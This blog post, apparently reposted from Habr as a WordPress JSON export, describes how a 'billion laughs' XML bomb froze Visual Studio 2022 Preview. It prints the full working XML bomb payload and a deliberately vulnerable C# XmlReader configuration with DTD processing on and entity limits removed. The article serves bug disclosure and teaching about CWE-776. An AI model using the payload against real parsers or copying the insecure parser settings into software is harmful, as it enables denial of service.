{"id":386509,"date":"2024-06-29T06:44:53","date_gmt":"2024-06-29T06:44:53","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=386509"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=386509","title":{"rendered":"<span>How Visual Studio 2022 ate up 100 GB of memory and what XML bombs had to do with it<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/b10\/f56\/921\/b10f569212be80169665dd5bd842f99e.png\" alt=\"0865_VS2022_XMLBomb\/image1.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/b10\/f56\/921\/b10f569212be80169665dd5bd842f99e.png\"\/><\/p>\n<p>  <\/p>\n<p>In April 2021 Microsoft announced a new version of its IDE \u2013 Visual Studio 2022 \u2013 while also announcing that the IDE would be 64-bit. We&#8217;ve been waiting for this for so long \u2013 no more 4 GB memory limitations! However, as it turned out, it&#8217;s not all that simple&#8230;<\/p>\n<p><a name=\"habracut\"><\/a>  <\/p>\n<p>By the way, if you missed it, here&#8217;s a link to the <a href=\"https:\/\/devblogs.microsoft.com\/visualstudio\/visual-studio-2022\/\">announcement post<\/a>.<\/p>\n<p>  <\/p>\n<p>But let&#8217;s get to the matter in question. I reproduced this problem on the latest (available at the time of writing) Visual Studio 2022 version \u2014 17.0.0 Preview 3.1.<\/p>\n<p>  <\/p>\n<p>To reproduce this, the following is sufficient:<\/p>\n<p>  <\/p>\n<ul>\n<li>use the Blank Solution template to create a new project;<\/li>\n<li>add an XML file to the solution.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>After this, try to copy the following text to the XML file:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">&lt;?xml version=\"1.0\"?> &lt;!DOCTYPE lolz [  &lt;!ENTITY lol \"lol\">  &lt;!ELEMENT lolz (#PCDATA)>  &lt;!ENTITY lol1 \"&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;\">  &lt;!ENTITY lol2 \"&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;\">  &lt;!ENTITY lol3 \"&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;\">  &lt;!ENTITY lol4 \"&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;\">  &lt;!ENTITY lol5 \"&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;\">  &lt;!ENTITY lol6 \"&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;\">  &lt;!ENTITY lol7 \"&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;\">  &lt;!ENTITY lol8 \"&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;\">  &lt;!ENTITY lol9 \"&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;\">  &lt;!ENTITY lol10 \"&amp;lol9;&amp;lol9;&amp;lol9;&amp;lol9;&amp;lol9;&amp;lol9;&amp;lol9;&amp;lol9;&amp;lol9;&amp;lol9;\">  &lt;!ENTITY lol11     \"&amp;lol10;&amp;lol10;&amp;lol10;&amp;lol10;&amp;lol10;&amp;lol10;&amp;lol10;&amp;lol10;&amp;lol10;&amp;lol10;\">  &lt;!ENTITY lol12     \"&amp;lol11;&amp;lol11;&amp;lol11;&amp;lol11;&amp;lol11;&amp;lol11;&amp;lol11;&amp;lol11;&amp;lol11;&amp;lol11;\">  &lt;!ENTITY lol13     \"&amp;lol12;&amp;lol12;&amp;lol12;&amp;lol12;&amp;lol12;&amp;lol12;&amp;lol12;&amp;lol12;&amp;lol12;&amp;lol12;\">  &lt;!ENTITY lol14     \"&amp;lol13;&amp;lol13;&amp;lol13;&amp;lol13;&amp;lol13;&amp;lol13;&amp;lol13;&amp;lol13;&amp;lol13;&amp;lol13;\">  &lt;!ENTITY lol15     \"&amp;lol14;&amp;lol14;&amp;lol14;&amp;lol14;&amp;lol14;&amp;lol14;&amp;lol14;&amp;lol14;&amp;lol14;&amp;lol14;\"> ]> &lt;lolz>&amp;lol15;&lt;\/lolz><\/code><\/pre>\n<p>  <\/p>\n<p>Now go make yourself a cup of coffee, get back to your computer \u2014 and watch Visual Studio eat up more and more RAM.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/f2e\/1d5\/4f1\/f2e1d54f15c3ddf48aa9ad4310d03149.png\" alt=\"0865_VS2022_XMLBomb\/image2.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/f2e\/1d5\/4f1\/f2e1d54f15c3ddf48aa9ad4310d03149.png\"\/><\/p>\n<p>  <\/p>\n<p>You may have two questions:<\/p>\n<p>  <\/p>\n<ol>\n<li>Why create some weird XML and add it to projects?<\/li>\n<li>What is happening here?<\/li>\n<\/ol>\n<p>  <\/p>\n<p>Let&#8217;s figure this out. To do this, we&#8217;ll need to understand why processing XML files carelessly can be dangerous and what the PVS-Studio analyzer has to do with all this.<\/p>\n<p>  <\/p>\n<h2 id=\"sast-in-pvs-studio\">SAST in PVS-Studio<\/h2>\n<p>  <\/p>\n<p>We continue to actively develop PVS-Studio as a SAST solution. If we talk about the C# analyzer, the main focus here is <a href=\"https:\/\/pvs-studio.com\/en\/pvs-studio\/sast\/owasptopten\/\">OWASP Top 10 2017<\/a> (that&#8217;s the latest version available \u2014 we are looking forward to an update!) support. By the way, if you missed it, not too long ago we added the taint analysis feature. You can read about it <a href=\"https:\/\/pvs-studio.com\/en\/blog\/posts\/csharp\/0831\/\">here<\/a>.<\/p>\n<p>  <\/p>\n<p>So, I created (or, to be exact, attempted to create) a sample project to test the analyzer. The fact is, one of the OWASP Top 10 categories we are developing diagnostic rules for, is <a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A4_2017-XML_External_Entities_(XXE)\">A4:2017-XML External Entities (XXE)<\/a>. It has to do with incorrect XML file processing that makes applications vulnerable to attacks. What does incorrect processing mean? Often it&#8217;s excessive trust to input data (a perpetual problem that causes many vulnerabilities) combined with XML parsers that lack sufficient limitations. <\/p>\n<p>  <\/p>\n<p>As a result, if the files are compromised, this may cause various unpleasant consequences. There are two main problems here: data disclosure and denial of service. Both have corresponding CWEs:<\/p>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/611.html\">CWE-611: Improper Restriction of XML External Entity Reference<\/a><\/li>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/776.html\">CWE-776: Improper Restriction of Recursive Entity References in DTDs (&#8216;XML Entity Expansion&#8217;)<\/a><\/li>\n<\/ul>\n<p>  <\/p>\n<p>I&#8217;ll leave CWE-611 for the other day. Today we need CWE-776.<\/p>\n<p>  <\/p>\n<h2 id=\"xml-bombs-billion-laughs-attack\">XML bombs (billion laughs attack)<\/h2>\n<p>  <\/p>\n<p>I&#8217;ll briefly describe the essence of the problem. If you&#8217;ll want to know more, many resources on the internet will provide you with the information you need.<\/p>\n<p>  <\/p>\n<p>The XML standard assumes the use of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Document_type_definition\">DTD<\/a> (document type definition). DTD enables you to use so-called XML entities.<\/p>\n<p>  <\/p>\n<p>The entity syntax is simple:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">&lt;!ENTITY myEntity \"Entity value\"><\/code><\/pre>\n<p>  <\/p>\n<p>Then you can get the entity value as follows:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">&amp;myEntity;<\/code><\/pre>\n<p>  <\/p>\n<p>The catch here is, entities can expand not only into strings (as in our case \u2014 &#171;Entity value&#187;), but also into sequences of other entities. For example:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">&lt;!ENTITY lol \"lol\"> &lt;!ENTITY lol1 \"&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;\"><\/code><\/pre>\n<p>  <\/p>\n<p>As a result, when expanding the &#8216;lol1&#8217; entity, we get a string that looks like this:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">lollollollollollollollollollol<\/code><\/pre>\n<p>  <\/p>\n<p>You can go further and define the &#8216;lol2&#8217; entity by expanding it through &#8216;lol1&#8217;:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">&lt;!ENTITY lol2 \"&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;\"><\/code><\/pre>\n<p>  <\/p>\n<p>Then when expanding the &#8216;lol2&#8217; entity, you get the following output:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollol<\/code><\/pre>\n<p>  <\/p>\n<p>How about going a level deeper and defining the &#8216;lol3&#8217; entity?<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">&lt;!ENTITY lol3 \"&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;\"><\/code><\/pre>\n<p>  <\/p>\n<p>Here&#8217;s the output you get when expanding it:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollol ....<\/code><\/pre>\n<p>  <\/p>\n<p>The XML file we used at the beginning of the article was generated with the same principle. Now, I think you see where the &#171;billion laughs&#187; name comes from. So, it turns out, if the XML parser is configured incorrectly (DTD processing is enabled and maximum entity size is not limited) \u2014 nothing good happens when this &#8216;bomb&#8217; is processed.<\/p>\n<p>  <\/p>\n<p>Talking about C#, vulnerable code is easiest to demonstrate with an <em>XmlReader<\/em> type example:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">var pathToXmlBomb = @\"D:\\XMLBomb.xml\"; XmlReaderSettings rs = new XmlReaderSettings() {   DtdProcessing = DtdProcessing.Parse,   MaxCharactersFromEntities = 0 };  using var reader = XmlReader.Create(File.OpenRead(pathToXmlBomb), rs); while (reader.Read()) {   if (reader.NodeType == XmlNodeType.Text)     Console.WriteLine(reader.Value); }<\/code><\/pre>\n<p>  <\/p>\n<p>If I configure my <em>XmlReader<\/em> this way, I am almost telling the intruder: &#171;Come on, blow this up!&#187;.<\/p>\n<p>  <\/p>\n<p>There are two reasons for this:<\/p>\n<p>  <\/p>\n<ul>\n<li>DTD processing is enabled;<\/li>\n<li>the restriction for a maximum number of characters from entities has been removed and the file can grow unhindered.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>By default, processing of DTD entities is forbidden: the <em>DtdProcessing<\/em> property is set to <em>Prohibit<\/em>. The maximum number of characters from entities is also limited (starting with .NET Framework 4.5.2). So in the modern .NET you have fewer and fewer opportunities to shoot yourself in the foot. This is still possible though \u2014 if you configure parsers incorrectly.<\/p>\n<p>  <\/p>\n<h2 id=\"coming-back-to-visual-studio-2022\">Coming back to Visual Studio 2022<\/h2>\n<p>  <\/p>\n<p>It seems that in Visual Studio 2022, when we copied our XML bomb, both conditions were true:<\/p>\n<p>  <\/p>\n<ul>\n<li>DTD processing started;<\/li>\n<li>no limitations were set \u2014 which caused the ever-increasing memory consumption.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>We examined the process to see what was happening. What we found confirmed our expectations.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/ec5\/f27\/ffc\/ec5f27ffcbc89ef8d56cf53adcd52ac1.png\" alt=\"0865_VS2022_XMLBomb\/image3.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/ec5\/f27\/ffc\/ec5f27ffcbc89ef8d56cf53adcd52ac1.png\"\/><\/p>\n<p>  <\/p>\n<p>The process list showed that the main thread was processing with the XML file. That caused GUI to freeze, and IDE did not respond to any attempts to revive it. with the XML file.<\/p>\n<p>  <\/p>\n<p>The VS Main thread&#8217;s call stack showed that the thread was busy processing DTD (the <em>ParseDtd<\/em> method execution)<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/178\/13d\/1ee\/17813d1eedfe8dbc5a9708ddd77676c5.png\" alt=\"0865_VS2022_XMLBomb\/image4.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/178\/13d\/1ee\/17813d1eedfe8dbc5a9708ddd77676c5.png\"\/><\/p>\n<p>  <\/p>\n<p>During the experiment I was wondering, why does Visual Studio run DTD processing at all? Why doesn&#8217;t it display XML as-is? I got my answer when experimenting with a small XML bomb (same approach, lighter load).<\/p>\n<p>  <\/p>\n<p>It seems that the whole point is to display possible values of entities in the editor &#171;on the fly&#187;.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/055\/2de\/8af\/0552de8afda07b6c69e3975eacee6722.png\" alt=\"0865_VS2022_XMLBomb\/image5.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/055\/2de\/8af\/0552de8afda07b6c69e3975eacee6722.png\"\/><\/p>\n<p>  <\/p>\n<p>Small values are processed successfully, but problems arise when XML entities start growing.<\/p>\n<p>  <\/p>\n<p>Of course, after my investigation, I had to write a <a href=\"https:\/\/developercommunity.visualstudio.com\/t\/Visual-Studio-2022-Preview-is-vulnurable\/1521704\">bug report<\/a>.<\/p>\n<p>  <\/p>\n<h2 id=\"conclusion\">Conclusion<\/h2>\n<p>  <\/p>\n<p>This is how we \u2014 unexpectedly \u2014 saw an XML bomb in action. It was very interesting to explore a real-life popular application and find something like this.<\/p>\n<p>  <\/p>\n<p>Just as I am writing this, we are developing a diagnostic to search for code that is vulnerable to XML file processing problems. We expect to release it with PVS-Studio 7.15. If you want to see what the analyzer can do right now, I encourage you to <a href=\"https:\/\/pvs-studio.com\/en\/pvs-studio\/download\/\">download<\/a> it and try it on your project. \ud83d\ude09<\/p>\n<p>  <\/p>\n<p>As always, subscribe to <a href=\"https:\/\/twitter.com\/_SergVasiliev_\">my Twitter<\/a> so as not to miss anything interesting.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/576734\/\"> https:\/\/habr.com\/ru\/articles\/576734\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/b10\/f56\/921\/b10f569212be80169665dd5bd842f99e.png\" alt=\"0865_VS2022_XMLBomb\/image1.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/b10\/f56\/921\/b10f569212be80169665dd5bd842f99e.png\"\/><\/p>\n<p>  <\/p>\n<p>In April 2021 Microsoft announced a new version of its IDE \u2013 Visual Studio 2022 \u2013 while also announcing that the IDE would be 64-bit. We&#8217;ve been waiting for this for so long \u2013 no more 4 GB memory limitations! However, as it turned out, it&#8217;s not all that simple&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-386509","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/386509","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386509"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/386509\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386509"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}